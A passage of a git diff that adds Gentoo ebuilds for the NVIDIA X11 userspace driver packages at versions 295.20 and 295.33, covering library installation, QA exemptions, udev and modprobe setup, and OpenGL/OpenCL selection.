+	elog "output of /usr/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-295.20.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-295.20.ebuild
new file mode 100644
index 00000000..b893f2d7
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-295.20.ebuild
@@ -0,0 +1,436 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.11.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	app-admin/eselect-opencl
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/libnvidia-ml.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so.1 || \
+		die "failed to create libnvidia-cfg.so symlink"
+	dosym libnvidia-cfg.so.1 \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so.1 || \
+		die "failed to create libnvidia-ml.so symlink"
+	dosym libnvidia-ml.so.1 \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so.1 || \
+		die "failed to create libnvcuvid.so symlink"
+	dosym libnvcuvid.so.1 \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA.so.1 || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.1 /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+		die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	dobin ${NV_EXEC}/nvidia-xconfig || die
+	dobin ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		dobin ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local CL_ROOT=/usr/${inslibdir}/OpenCL/vendors/nvidia
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia ${CL_ROOT} ${libdir}/libOpenCL.so 1.0.0
+		#dosym libOpenCL.so.1 ${CL_ROOT}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	eselect opengl set --use-old nvidia
+	eselect opencl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /usr/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-295.33.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-295.33.ebuild
new file mode 100644
index 00000000..b8e99462
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-295.33.ebuild
@@ -0,0 +1,452 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.12.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	app-admin/eselect-opencl
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/libnvidia-ml.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		# Ensures that our device nodes are created when not using X
+		exeinto /lib/udev
+		doexe "${FILESDIR}"/nvidia-udev.sh
+
+		insinto /lib/udev/rules.d
+		newins "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so.1 || \
+		die "failed to create libnvidia-cfg.so symlink"
